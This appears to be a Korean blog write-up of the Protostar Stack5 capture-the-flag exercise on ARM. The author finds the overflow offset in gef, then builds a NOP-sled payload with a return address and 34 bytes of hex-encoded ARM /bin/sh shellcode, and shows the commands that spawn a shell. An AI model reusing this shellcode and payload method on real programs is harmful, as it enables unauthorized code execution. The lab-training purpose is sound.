리버싱CTF/Protostar

Stack5 (Success)

우와해커 2020. 1. 1. 22:36

About
Stack5 is a standard buffer overflow, this time introducing shellcode.

This level is at /opt/protostar/bin/stack5

Hints

At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.

Key point
1. 버퍼오버플로우 취약점을 이용해 실제로 쉘코드를 실행해보는 문제다.
2. 쉘코드를 만드는 과정은 쉽지 않으므로 우선은 남이 만들어 놓은 코드를 사용하자.
3. ASLR이 켜져있는지 확인하고 끄고 실습하도록하자. 이것떄매 몇시간 삽질했다.

arm 쉘코드 만들기, 나중에 과제로 다시 한번 해보자~
https://azeria-labs.com/writing-arm-shellcode/

gef상에서 간단하게 사용할 수 있는 쉘코드를 구할 수 있다.
>shellcode search arm
>shellcode get [원하는 쉘코드 번호]


Stack4처럼 기존의 방식대로 시도하였으나 세그먼트 폴트 에러가 난다..대체 왜?
구글링 결과 이렇게 입력하면 쉘 코드 자체가 입력되는 것이기 때문에 PC에 의한 실행이 안되고 있었다.  
또한 ASLR로 인한 방해도 있었던 것 같다.

따라서, 여러가지 방법이 있어 보인다. 환경변수에 집어 넣거나 버퍼에 집어 넣고 시작 주소를 구하면 될 것같다.

나는 버퍼를 이용하려 한다. 더미와 쉘코드의 순서를 바꾸면된다.  
먼저 소스코드로 확인되는 할당되는 버퍼의 크기는 64바이트이고 나의 쉘코드의 크기는 34바이트이므로 버퍼에 넘치지 않고 충분하다.
(!노우 여기서부터 잘못된 생각이였다. 쉘코드가 앞부분으로 들어가면  실행이 안된다...더미부터 넣어야되는 것 같다.)

다음과 같이 입력하여 pc전 더미의 값을 확인하자.
(!위에서부터 계속 꼬였다. 이렇게 쉘과 함께 더미패턴을 넣어서 확인하면 안된다. 아래는 잘못된 예! )
r <<<`python -c "print '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'"`


패턴을 쉘코드와 함께 넣고 확인하면 잘못된 위치가 찍히므로 온전히 패턴만 먼저 넣고 차근차근 pc의 위치를 먼저 파악해야한다. 확인결과 68까지 더미가 와야한다.

ger> r [pattern]
gef> pattern search raaa
[+] Searching 'raaa'
[+] Found at offset 68 (big-endian search) 

전체적인 payload는 다음과 같이 구성할 수 있다. 
>더미(68)+쉘코드시작주소(pc)+쉘코드(34) : 이것은 잘못된 생각이다.!!
위처럼 쉘코드의 시작주소를 지정해봤더니, 쉘 실행이 안된다...정확한 시작주소를 찍었는데, 왜 인지는 모르겠다. 

그래서 더미와 쉘코드 사이에 놉슬레이드 기법이 필요하다.
>더미(68)+놉코드의주소(pc)+놉코드(20개정도)+쉘코드(34)

쉘코드의 시작주소가 아닌 적당한 놉코드의 주소가 PC에 위치해야 한다.
프로그램 실행시 놉코드는 아무 동작도 안하고 다음코드로 이동하다가 쉘코드에 도달할 수 있다.

*디버거에 다음 더미값을 입력하자.  'C'는 arm에서 Nop코드를 의미한다.
r <<<`python -c "print 'A'*68+'BBBB'+'C'*20"`

이제 스택에 위치하는 적당한 놉코드를 골라주자.
아래 코드중 적당한 위치의 주소를 고르면 되는데 0xbefff1f8을 사용할 것이다.
---------------------------------------------------------------------------- stack ----
0xbefff1f0|+0x0000: "CCCCCCCCCCCCCCCCCCCC" <-$sp
0xbefff1f4|+0x0004: "CCCCCCCCCCCCCCCC"
0xbefff1f8|+0x0008: "CCCCCCCCCCCC"
0xbefff1fc|+0x000c: "CCCCCCCC"
0xbefff200|+0x0010: "CCCC"

이 놉코드의 시작 주소를 리틀엔디언 방식으로 바꿔주고 뒤에 놉코드20개와 쉘코드를 붙여주면 된다.

r <<<`python -c "print 'A'*68+'\xf8\xf1\xff\xbe'+'C'*20+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'"`

성공!
process 31060 is executing new program: /bin/dash
ls[Inferior 1 (process 31060) exited normally]

디버거 밖에서 실행해보자. 백트릭을 사용하면 안되고 쉘 실행 후 cat을 호출해줘야 한다. 
(python -c "print 'A'*68+'\xf8\xf1\xff\xbe'+'C'*20+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'";cat) | ./stack5

'리버싱CTF > Protostar' 카테고리의 다른 글

Stack6 - Fail  (0) 2020.01.04
Stack5(Fail)  (0) 2020.01.01
Stack4  (0) 2020.01.01
Stack3  (0) 2020.01.01
Stack2  (0) 2020.01.01